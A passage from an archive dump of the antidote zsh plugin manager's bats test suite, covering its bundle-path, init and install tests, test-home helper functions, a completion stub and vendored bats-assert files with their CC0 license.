"$TESTHOME/.zsh/custom/lib/lib1.zsh" check '$HOME/.zsh/plugins/myplugin' "bundle_name" "$TESTHOME/.zsh/plugins/myplugin" check 'git@fakegitsite.com:foo/bar' "bundle_name" 'git@fakegitsite.com:foo/bar.git' check foo/bar "bundle_name" 'https://fakegitsite.com/foo/bar' check someuser/abc123def456 "bundle_name" 'https://gist.github.com/someuser/abc123def456.git' check subgroup/repo "bundle_name" 'https://gitlab.com/group/subgroup/repo' check 'https:/bad.com/foo/bar.git' "bundle_name" 'https:/bad.com/foo/bar.git' check '' "bundle_name" '' check /foo/bar "bundle_name" /foo/bar check /foobar "bundle_name" /foobar check foobar/ "bundle_name" foobar/ check '$HOME/foo/bar' "bundle_name" '~/foo/bar' check '$foo/bar' "bundle_name" '$foo/bar' check foo/bar "bundle_name" foo/bar check bar/baz.git "bundle_name" bar/baz.git check foo/bar/baz "bundle_name" foo/bar/baz check foobar "bundle_name" foobar check foo "bundle_name" foo bar baz check 'foo bar baz' "bundle_name" 'foo bar baz' } @test "__bundle_dir_by_style computes each path style" { check "$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" \ "__bundle_dir_by_style" 'https://fakegitsite.com/foo/bar' escaped check "$AHOME/fakegitsite.com/foo/bar" \ "__bundle_dir_by_style" 'https://fakegitsite.com/foo/bar' full check "$AHOME/foo/bar" \ "__bundle_dir_by_style" 'https://fakegitsite.com/foo/bar' short check "$AHOME/git-AT-fakegitsite.com-COLON-foo-SLASH-bar" \ "__bundle_dir_by_style" 'git@fakegitsite.com:foo/bar' escaped check "$AHOME/fakegitsite.com/foo/bar" \ "__bundle_dir_by_style" 'git@fakegitsite.com:foo/bar' full check "$AHOME/foo/bar" \ "__bundle_dir_by_style" 'git@fakegitsite.com:foo/bar' short } @test "bundle_dir honors path-style escaped" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle' path-style escaped" check "$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" "bundle_dir" foo/bar check "$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" "bundle_dir" https://fakegitsite.com/foo/bar check "$AHOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" "bundle_dir" https://fakegitsite.com/foo/bar.git check "$AHOME/git-AT-fakegitsite.com-COLON-foo-SLASH-bar" "bundle_dir" git@fakegitsite.com:foo/bar.git check "$AHOME/https-COLON--SLASH--SLASH-gist.github.com-SLASH-someuser-SLASH-abc123def456" \ "bundle_dir" https://gist.github.com/someuser/abc123def456.git check "$TESTHOME/foo/bar" "bundle_dir" "$TESTHOME/foo/bar" check "$ZDOTDIR/bar/baz" "bundle_dir" "$ZDOTDIR/bar/baz" } @test "bundle_dir honors path-style short" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle' path-style short" check "$AHOME/foo/bar" "bundle_dir" foo/bar check "$AHOME/bar/baz" "bundle_dir" https://fakegitsite.com/bar/baz check "$AHOME/foo/bar/baz/qux" "bundle_dir" https://fakegitsite.com/foo/bar/baz/qux check "$AHOME/foo/qux" "bundle_dir" git@fakegitsite.com:foo/qux.git check "$AHOME/someuser/abc123def456" "bundle_dir" https://gist.github.com/someuser/abc123def456.git } @test "bundle_dir honors path-style full" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle' path-style full" check "$AHOME/fakegitsite.com/foo/bar" "bundle_dir" foo/bar check "$AHOME/fakegitsite.com/bar/baz" "bundle_dir" https://fakegitsite.com/bar/baz check "$AHOME/fakegitsite.com/foo/qux" "bundle_dir" git@fakegitsite.com:foo/qux.git check "$AHOME/gist.github.com/someuser/abc123def456" "bundle_dir" https://gist.github.com/someuser/abc123def456.git check "$AHOME/gitlab.com/group/subgroup/repo" "bundle_dir" https://gitlab.com/group/subgroup/repo } @test "bundle_dir honors legacy use-friendly-names" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle' use-friendly-names on" check "$AHOME/foo/bar" "bundle_dir" foo/bar check "$AHOME/bar/baz" "bundle_dir" https://fakegitsite.com/bar/baz check "$AHOME/foo/bar/baz/qux" "bundle_dir" https://fakegitsite.com/foo/bar/baz/qux check "$AHOME/foo/qux" "bundle_dir" git@fakegitsite.com:foo/qux.git } @test "tourl expands short repos against the git site" { check https://fakegitsite.com/ohmyzsh/ohmyzsh "tourl" ohmyzsh/ohmyzsh check https://fakegitsite.com/sindresorhus/pure "tourl" sindresorhus/pure check https://fakegitsite.com/foo/bar "tourl" foo/bar } @test "tourl uses the git protocol zstyle" { ZSTYLES="$ZSTYLES zstyle ':antidote:git' protocol ssh" check git@fakegitsite.com:foo/bar "tourl" foo/bar } @test "tourl defaults to https when no protocol zstyle is set" { check https://fakegitsite.com/foo/bar "tourl" foo/bar } @test "tourl leaves proper URLs unchanged" { check https://github.com/ohmyzsh/ohmyzsh "tourl" https://github.com/ohmyzsh/ohmyzsh check http://github.com/ohmyzsh/ohmyzsh "tourl" http://github.com/ohmyzsh/ohmyzsh check ssh://github.com/ohmyzsh/ohmyzsh "tourl" ssh://github.com/ohmyzsh/ohmyzsh check git://github.com/ohmyzsh/ohmyzsh "tourl" git://github.com/ohmyzsh/ohmyzsh check ftp://github.com/ohmyzsh/ohmyzsh "tourl" ftp://github.com/ohmyzsh/ohmyzsh check git@github.com:sindresorhus/pure.git "tourl" git@github.com:sindresorhus/pure.git } @test "short_repo_name reduces to owner/repo" { check foo/bar "short_repo_name" foo/bar check foo/bar "short_repo_name" https://github.com/foo/bar check foo/bar "short_repo_name" https://github.com/foo/bar.git check git@github.com:foo/bar "short_repo_name" git@github.com:foo/bar.git check git@github.com:foo/bar "short_repo_name" git@github.com:foo/bar check nested/repo "short_repo_name" https://gitlab.com/deep/nested/repo } @test "get_cachedir picks the right dir per OS" { ZSTYLES="$ZSTYLES zstyle ':antidote:test:env' OSTYPE linux-gnu" check "$TESTHOME/.cache" "get_cachedir" check "$TESTHOME/.cache/antidote" "get_cachedir" antidote ZSTYLES="zstyle ':antidote:test:env' OSTYPE darwin23.0" check "$TESTHOME/Library/Caches" "get_cachedir" check "$TESTHOME/Library/Caches/antidote" "get_cachedir" antidote } @test "get_cachedir honors XDG_CACHE_HOME" { ZSTYLES="$ZSTYLES zstyle ':antidote:test:env' OSTYPE linux-gnu" EXTRA_ENV="XDG_CACHE_HOME=/tmp/xdg-cache" check /tmp/xdg-cache "get_cachedir" check /tmp/xdg-cache/antidote "get_cachedir" antidote } @test "get_datadir picks the right dir per OS" { ZSTYLES="$ZSTYLES zstyle ':antidote:test:env' OSTYPE linux-gnu" check "$TESTHOME/.local/share" "get_datadir" check "$TESTHOME/.local/share/antidote" "get_datadir" antidote ZSTYLES="zstyle ':antidote:test:env' OSTYPE darwin23.0" check "$TESTHOME/Library/Application Support" "get_datadir" check "$TESTHOME/Library/Application Support/antidote" "get_datadir" antidote } @test "get_datadir honors XDG_DATA_HOME" { ZSTYLES="$ZSTYLES zstyle ':antidote:test:env' OSTYPE linux-gnu" EXTRA_ENV="XDG_DATA_HOME=/tmp/xdg-data" check /tmp/xdg-data "get_datadir" check /tmp/xdg-data/antidote "get_datadir" antidote } @test "collect_input reads args, stdin, or nothing" { [ "$(echo foo/bar | antidote __private__ collect_input)" = "foo/bar" ] [ "$(printf 'foo/bar\nbar/baz\nbaz/qux\n' | antidote __private__ collect_input)" = $'foo/bar\nbar/baz\nbaz/qux' ] [ "$(antidote __private__ collect_input 'foo/bar' /private/var) so subprocess # path prefix checks against $HOME hold. mkdir -p "$base/home" TESTHOME="$(cd "$base/home" && pwd -P)" ZDOTDIR="$TESTHOME/.zsh" AHOME="$TESTHOME/.cache/antidote" ACONFIG="$TESTHOME/.config/antidote/test_config.zsh" mkdir -p "$ZDOTDIR" "$AHOME" cp -Rf "$PRJDIR/tests/tmp_home/." "$TESTHOME" local fixdir fixdir=$(antidote_fixture_dir) sed "s|/[^ \"]*/tests/fixtures/|${fixdir}/|g" "$fixdir/gitconfig" >"$TESTHOME/.gitconfig" # background maintenance off since detached git gc processes race # teardown's rm -rf of the test home. printf '[gc]\n\tauto = 0\n[maintenance]\n\tauto = false\n' >>"$TESTHOME/.gitconfig" } # Run antidote (or `antidote __private__ `) as a subprocess in the # isolated test home. Extra zstyles go in $ZSTYLES. # Set AHOME="" to test antidote's own ANTIDOTE_HOME resolution. # Set ACONFIG="" to test antidote's own config file discovery. antidote() { # EXTRA_ENV stays unquoted on purpose: it word-splits into VAR=value # assignments, and quoting it hands env an empty-string utility name. ( cd "$TESTHOME" && env \ -u XDG_CACHE_HOME -u XDG_DATA_HOME -u XDG_CONFIG_HOME \ -u ANTIDOTE_CONFIG \ HOME="$TESTHOME" ZDOTDIR="$ZDOTDIR" T_PRJDIR="$PRJDIR" \ ${AHOME:+ANTIDOTE_HOME="$AHOME"} \ ${ACONFIG:+ANTIDOTE_CONFIG="$ACONFIG"} \ ANTIDOTE_ZSTYLES="${ZSTYLES:-}" ${EXTRA_ENV:-} \ zsh "$PRJDIR/antidote.zsh" "$@" ) } # Clone the standard test fixtures into the test home, quietly. antidote_clone_fixtures() { antidote bundle <"$ZDOTDIR/.base_test_fixtures.txt" &>/dev/null } # setup_file() half of the cached-fixture pair: build one prototype home # with the fixtures already cloned, in $BATS_FILE_TMPDIR. Pair with # antidote_test_home_cached in setup(). Cloning is the dominant cost of # a fixture test, so doing it once per file beats once per test. antidote_fixture_proto() { antidote_common_setup || return 1 antidote_test_home "$BATS_FILE_TMPDIR/proto" antidote_clone_fixtures } # setup() half: copy the prototype into this test's tmpdir so each test # still gets a private writable home, without re-cloning. antidote_test_home_cached() { cp -R "$BATS_FILE_TMPDIR/proto/home" "$BATS_TEST_TMPDIR/home" TESTHOME="$(cd "$BATS_TEST_TMPDIR/home" && pwd -P)" ZDOTDIR="$TESTHOME/.zsh" AHOME="$TESTHOME/.cache/antidote" ACONFIG="$TESTHOME/.config/antidote/test_config.zsh" } # git against the test home, so the fixture gitconfig (insteadOf rules # for fakegitsite.com) applies to fetch/pull. tgit() { HOME="$TESTHOME" git "$@" } # Make a bundle's full history available for a test that needs it. A # clone usually deepens itself, in which case --unshallow errors, so ask # for the end state rather than running the command blind. tgit_deepen() { [ "$(tgit -C "$1" rev-parse --is-shallow-repository)" = false ] && return 0 tgit -C "$1" fetch --quiet --unshallow } # SESSION_PRELUDE, when set, is injected after setup. Use it for # per-file shorthand. SESSION_SETUP overrides the setup function # (default t_setup; real tests use t_setup_real). $status is the exit # of the LAST body command (teardown still runs), so a session ending # in the probe command can assert_success/assert_failure directly. # Never pipe INTO run_session: `run` would execute in a pipeline # subshell and $output would be lost. run_session() { local script="$BATS_TEST_TMPDIR/session.zsh" { echo "source ${PRJDIR}/tests/__init__.zsh || exit 9" echo "${SESSION_SETUP:-t_setup} || exit 9" [ -n "${SESSION_PRELUDE:-}" ] && printf '%s\n' "$SESSION_PRELUDE" cat echo '__t_status=$?' echo "t_teardown" echo 'exit $__t_status' } >"$script" run env -i PATH="$PATH" PAGER=cat TERM=dumb zsh -f "$script" } # Like run_session, but clones the standard local fixtures first. # Per-test arrange steps still go in SESSION_PRELUDE; they run after # the fixture clone. fixture_session() { SESSION_PRELUDE='antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null '"${SESSION_PRELUDE:-}" run_session } # tests/bin/subenv, the same filter session tests pipe through, fed the # test home's values instead of the bats process's own env. subenv() { env HOME="$TESTHOME" ZDOTDIR="$ZDOTDIR" \ ${AHOME:+ANTIDOTE_HOME="$AHOME"} \ "$PRJDIR/tests/bin/subenv" "$@" } # Rewrite $output (and $lines) through subenv after a run, so asserts can # compare against $VAR placeholders instead of tmpdir paths. subenv_output() { output=$(subenv "$@" <<<"$output") mapfile -t lines <<<"$output" } # Compare $output against an expected string, showing a diff on failure. expect() { if [ "$output" != "$1" ]; then echo "=== diff (expected vs got) ===" diff <(printf '%s\n' "$1") <(printf '%s\n' "$output") || true return 1 fi } mattmc3-antidote-9bb69ab/tests/bats/helpers/comp_stub.zsh000066400000000000000000000023021523541175400236510ustar00rootroot00000000000000# Load functions/_antidote with compsys stubbed so its helper functions # can be unit tested in plain zsh (no zle, no compinit). # # usage: zsh -f tests/bats/helpers/comp_stub.zsh [args...] emulate -L zsh 0=${(%):-%x} cd ${0:A:h:h:h:h} # Canned antidote CLI surface used by the completion helpers. antidote() { case "$1" in --help) print -r -- 'usage: antidote [] [ ...] commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles help Show documentation load Statically source all bundles from the plugins file' ;; list) print -rl -- \ 'https://github.com/foo/bar' \ 'git@github.com:baz/qux' \ 'https://gitlab.com/group/repo' ;; esac } # compsys stubs: _describe prints the named candidate array, the rest # are no-ops so sourcing the file (which ends with `_antidote "$@"`) # is harmless. _arguments() { return 1 } _describe() { [[ "$1" == -t ]] && shift 2 shift print -rl -- ${(P)1} } compadd() { : } _files() { : } source functions/_antidote 2>/dev/null "$@" mattmc3-antidote-9bb69ab/tests/bats/home.bats000066400000000000000000000021431523541175400212740ustar00rootroot00000000000000#!/usr/bin/env bats # antidote home tests. # `antidote home -h` man routing is covered in help.bats. load helpers/common setup() { antidote_common_setup antidote_test_home } @test "ANTIDOTE_HOME is used if set" { run antidote home assert_output "$AHOME" } @test "home is ~/Library/Caches/antidote on macOS" { AHOME="" ZSTYLES="zstyle ':antidote:test:env' OSTYPE darwin21.3.0" run antidote home assert_output "$TESTHOME/Library/Caches/antidote" } @test "home is LOCALAPPDATA/antidote on msys" { AHOME="" ZSTYLES="zstyle ':antidote:test:env' OSTYPE msys zstyle ':antidote:test:env' LOCALAPPDATA $TESTHOME/AppData" run antidote home assert_output "$TESTHOME/AppData/antidote" } @test "home uses XDG_CACHE_HOME on an OS that defines it" { AHOME="" ZSTYLES="zstyle ':antidote:test:env' OSTYPE foobar" EXTRA_ENV="XDG_CACHE_HOME=$TESTHOME/.xdg-cache" run antidote home assert_output "$TESTHOME/.xdg-cache/antidote" } @test "home falls back to HOME/.cache" { AHOME="" ZSTYLES="zstyle ':antidote:test:env' OSTYPE foobar" run antidote home assert_output "$TESTHOME/.cache/antidote" } mattmc3-antidote-9bb69ab/tests/bats/init.bats000066400000000000000000000104251523541175400213110ustar00rootroot00000000000000#!/usr/bin/env bats # antidote init tests load helpers/common setup() { antidote_common_setup; } @test "antidote init emits the dynamic-mode function" { run_session <<<'antidote init | subenv ANTIDOTE_HOME ANTIDOTE_CONFIG' expected=$(cat <<'EOF' #!/usr/bin/env zsh function antidote { case "$1" in bundle) shift antidote-bundle-dynamic '$ANTIDOTE_HOME' '$ANTIDOTE_CONFIG' "$@" ;; *) ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; esac } EOF ) expect "$expected" } # antidote-init emits the script from the parent shell (no subprocess) # when there is no config file. Guard against its resolver drifting from # antidote.zsh: across every OS branch, parent must equal subprocess. @test "antidote init matches the subprocess across OS branches" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/no/such/config.zsh unset ANTIDOTE_HOME' run_session <<'EOS' for os in darwin21.3.0 msys foobar; do zstyle ':antidote:test:env' OSTYPE $os [[ $os == msys ]] && zstyle ':antidote:test:env' LOCALAPPDATA $HOME/AppData parent=$(antidote init) sub=$(antidote-zsh init) [[ $parent == $sub ]] && echo "$os: match" || echo "$os: MISMATCH" done EOS assert_line "darwin21.3.0: match" assert_line "msys: match" assert_line "foobar: match" } # A broken ANTIDOTE_ZSH makes any subprocess call fail, so succeeding # here proves the parent-shell path never spawned one. @test "init needs no subprocess when there is no config file" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/no/such/config.zsh echo "exit 3" >$HOME/broken.zsh ANTIDOTE_ZSH=$HOME/broken.zsh' run_session <<<'antidote init | tail -n1' assert_success assert_output "}" } # A config file only matters here if it sets the home, so the common # case of a config file setting something else keeps the fast path. @test "init needs no subprocess for a config file that skips home" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "zstyle \":antidote:bundle\" path-style short" >$ANTIDOTE_CONFIG echo "exit 3" >$HOME/broken.zsh ANTIDOTE_ZSH=$HOME/broken.zsh' run_session <<<'antidote init | tail -n1' assert_success assert_output "}" } # The parent shell never sources the config file, so a config-file home # has to reach the emitted script anyway. @test "init honors a config-file home" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/cfg.zsh echo "zstyle \":antidote:home\" dir /from/config" >$ANTIDOTE_CONFIG unset ANTIDOTE_HOME antidote-setup' run_session <<<'antidote init | grep antidote-bundle-dynamic | subenv HOME' assert_output " antidote-bundle-dynamic '/from/config' '\$HOME/cfg.zsh' \"\$@\"" } @test "dynamic mode clones and sources a bundle on the fly" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar EOS assert_output "# antidote cloning foo/bar... sourcing bar.plugin.zsh from foo/bar..." } @test "dynamic mode autoloads bundle functions" { run_session <<'EOS' source <(antidote init) antidote bundle foo/baz autoload:functions &>/dev/null echo "baz autoloaded: $+functions[baz]" EOS assert_output "baz autoloaded: 1" } @test "dynamic mode tracks plugins and libs arrays" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null antidote bundle foo/baz autoload:functions &>/dev/null antidote bundle $ZDOTDIR/custom/lib &>/dev/null echo "plugins: $#plugins libs: $#libs" EOS assert_output "plugins: 2 libs: 2" } @test "dynamic using: context persists across calls" { run_session <<'EOS' source <(antidote init) antidote bundle using:ohmy/ohmy path:plugins &>/dev/null antidote bundle docker antidote bundle extract EOS assert_output "sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy..." } @test "dynamic using: context resets when a new using: is seen" { run_session <<'EOS' source <(antidote init) antidote bundle using:ohmy/ohmy path:plugins &>/dev/null antidote bundle using:foo/bar &>/dev/null antidote bundle bar.plugin.zsh EOS assert_output "sourcing bar.plugin.zsh from foo/bar..." } @test "dynamic path-based using: loads local subplugins" { run_session <<'EOS' source <(antidote init) antidote bundle using:$ZDOTDIR/custom path:plugins antidote bundle myplugin antidote bundle doesnotexist 2>/dev/null EOS assert_output "sourcing myplugin..." } mattmc3-antidote-9bb69ab/tests/bats/install.bats000066400000000000000000000071201523541175400220120ustar00rootroot00000000000000#!/usr/bin/env bats # antidote install tests load helpers/common setup() { antidote_common_setup; } @test "install requires a bundle argument" { fixture_session <<'EOS' antidote install 2>&1 EOS assert_failure 1 assert_output "antidote: error: required argument 'bundle' not provided, try --help" } @test "installing an existing bundle fails" { fixture_session <<'EOS' antidote install foo/bar &>/dev/null; echo "exit: $?" antidote install foo/bar 2>&1 | subenv HOME EOS assert_line --index 0 "exit: 1" assert_line --index 1 'antidote: error: foo/bar already installed: $HOME/.cache/antidote/fakegitsite.com/foo/bar' } # The clone failure emits git error details with variable temp paths, # so assert only the stable lines. @test "installing a non-existent bundle fails" { fixture_session <<'EOS' antidote install does-not/exist &>/dev/null; echo "exit: $?" antidote install does-not/exist 2>&1 >/dev/null EOS assert_line "exit: 1" assert_line "# antidote: unable to install bundle 'does-not/exist'." } # An unrecognized short flag must error out, not silently append a # malformed ':value' annotation to the plugins file. @test "install rejects unknown flags" { fixture_session <<'EOS' antidote install -x foo themes/purify 2>&1; echo "exit: $?" print -r -- "purify lines: $(grep -c purify $ZDOTDIR/.zsh_plugins.txt)" EOS assert_line "antidote: error: unknown flag '-x', try --help" assert_line "exit: 1" assert_line "purify lines: 0" } # Long flags get the same treatment: no silently inventing a 'bogus:x' # annotation in the plugins file. @test "install rejects unknown long flags" { fixture_session <<'EOS' antidote install --bogus x themes/purify 2>&1; echo "exit: $?" print -r -- "purify lines: $(grep -c purify $ZDOTDIR/.zsh_plugins.txt)" EOS assert_line "antidote: error: unknown flag '--bogus', try --help" assert_line "exit: 1" assert_line "purify lines: 0" } @test "install clones and appends to the plugins file" { fixture_session <<'EOS' antidote install themes/purify | subenv ZDOTDIR tail -n 1 $ZDOTDIR/.zsh_plugins.txt EOS expected=$(cat <<'EOF' # antidote cloning themes/purify... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': themes/purify themes/purify EOF ) expect "$expected" } @test "install with --kind and --conditional" { fixture_session <<'EOS' antidote install --kind fpath --conditional is-macos themes/ohmytheme | subenv ZDOTDIR tail -n 1 $ZDOTDIR/.zsh_plugins.txt EOS expected=$(cat <<'EOF' # antidote cloning themes/ohmytheme... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': themes/ohmytheme kind:fpath conditional:is-macos themes/ohmytheme kind:fpath conditional:is-macos EOF ) expect "$expected" } # --branch is the one whitelist entry the other flag tests never exercise, # so a typo in it would only surface for a user. @test "install with --branch" { fixture_session <<'EOS' antidote install --branch main test/install | subenv ZDOTDIR tail -n 1 $ZDOTDIR/.zsh_plugins.txt EOS assert_line "test/install branch:main" } @test "install with all annotation flags" { fixture_session <<'EOS' antidote install --path lib --autoload functions --pre setup_func --post teardown_func --pin 367eaa595eb776634c100cec24f241cc2256e79e test/install | subenv ZDOTDIR tail -n 1 $ZDOTDIR/.zsh_plugins.txt EOS expected=$(cat <<'EOF' # antidote cloning test/install... Adding bundle to '$ZDOTDIR/.zsh_plugins.txt': test/install path:lib autoload:functions pre:setup_func post:teardown_func pin:367eaa595eb776634c100cec24f241cc2256e79e test/install path:lib autoload:functions pre:setup_func post:teardown_func pin:367eaa595eb776634c100cec24f241cc2256e79e EOF ) expect "$expected" } mattmc3-antidote-9bb69ab/tests/bats/lib/000077500000000000000000000000001523541175400202375ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/lib/README.md000066400000000000000000000012271523541175400215200ustar00rootroot00000000000000# Vendored bats libraries Assertion helpers for the bats test suite, loaded by `tests/bats/helpers/common.bash`. Vendored copies (`load.bash`, `LICENSE`, `src/` only) rather than submodules: both libs are tiny, stable, and rarely release. | Library | Source | Version | | ------------ | ----------------------------------------- | ------- | | bats-support | https://github.com/bats-core/bats-support | v0.3.0 | | bats-assert | https://github.com/bats-core/bats-assert | v2.1.0 | To update: clone the tag upstream, copy `load.bash`, `LICENSE`, and `src/` over the matching directory here, and bump the version above. mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/000077500000000000000000000000001523541175400224675ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/LICENSE000066400000000000000000000146331523541175400235030ustar00rootroot00000000000000CC0 1.0 Universal Statement of Purpose The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work"). Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others. For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights. 1. Copyright and Related Rights. A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following: i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work; ii. moral rights retained by the original author(s) and/or performer(s); iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work; iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below; v. rights protecting the extraction, dissemination, use and reuse of data in a Work; vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof. 2. Waiver. To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose. 3. Public License Fallback. Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose. 4. Limitations and Disclaimers. a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document. b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law. c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work. d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work. For more information, please see mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/load.bash000066400000000000000000000030111523541175400242400ustar00rootroot00000000000000# bats-assert - Common assertions for Bats # # Written in 2016 by Zoltan Tombol # # To the extent possible under law, the author(s) have dedicated all # copyright and related and neighboring rights to this software to the # public domain worldwide. This software is distributed without any # warranty. # # You should have received a copy of the CC0 Public Domain Dedication # along with this software. If not, see # . # # Assertions are functions that perform a test and output relevant # information on failure to help debugging. They return 1 on failure # and 0 otherwise. # # All output is formatted for readability using the functions of # `output.bash' and sent to the standard error. # shellcheck disable=1090 source "$(dirname "${BASH_SOURCE[0]}")/src/assert.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/refute.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_equal.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_not_equal.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_success.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_failure.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_output.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/refute_output.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_line.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/refute_line.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/assert_regex.bash" source "$(dirname "${BASH_SOURCE[0]}")/src/refute_regex.bash" mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/000077500000000000000000000000001523541175400232565ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert.bash000066400000000000000000000017561523541175400254270ustar00rootroot00000000000000# assert # ====== # # Summary: Fail if the given expression evaluates to false. # # Usage: assert # Options: # The expression to evaluate for truthiness. # *__Note:__ The expression must be a simple command. # [Compound commands](https://www.gnu.org/software/bash/manual/bash.html#Compound-Commands), # such as `[[`, can be used only when executed with `bash -c`.* # # IO: # STDERR - the failed expression, on failure # Globals: # none # Returns: # 0 - if expression evaluates to true # 1 - otherwise # # ```bash # @test 'assert()' { # touch '/var/log/test.log' # assert [ -e '/var/log/test.log' ] # } # ``` # # On failure, the failed expression is displayed. # # ``` # -- assertion failed -- # expression : [ -e /var/log/test.log ] # -- # ``` assert() { if ! "$@"; then batslib_print_kv_single 10 'expression' "$*" \ | batslib_decorate 'assertion failed' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_equal.bash000066400000000000000000000014651523541175400266130ustar00rootroot00000000000000# assert_equal # ============ # # Summary: Fail if the actual and expected values are not equal. # # Usage: assert_equal # # Options: # The value being compared. # The value to compare against. # # ```bash # @test 'assert_equal()' { # assert_equal 'have' 'want' # } # ``` # # IO: # STDERR - expected and actual values, on failure # Globals: # none # Returns: # 0 - if values equal # 1 - otherwise # # On failure, the expected and actual values are displayed. # # ``` # -- values do not equal -- # expected : want # actual : have # -- # ``` assert_equal() { if [[ $1 != "$2" ]]; then batslib_print_kv_single_or_multi 8 \ 'expected' "$2" \ 'actual' "$1" \ | batslib_decorate 'values do not equal' \ | fail fi } 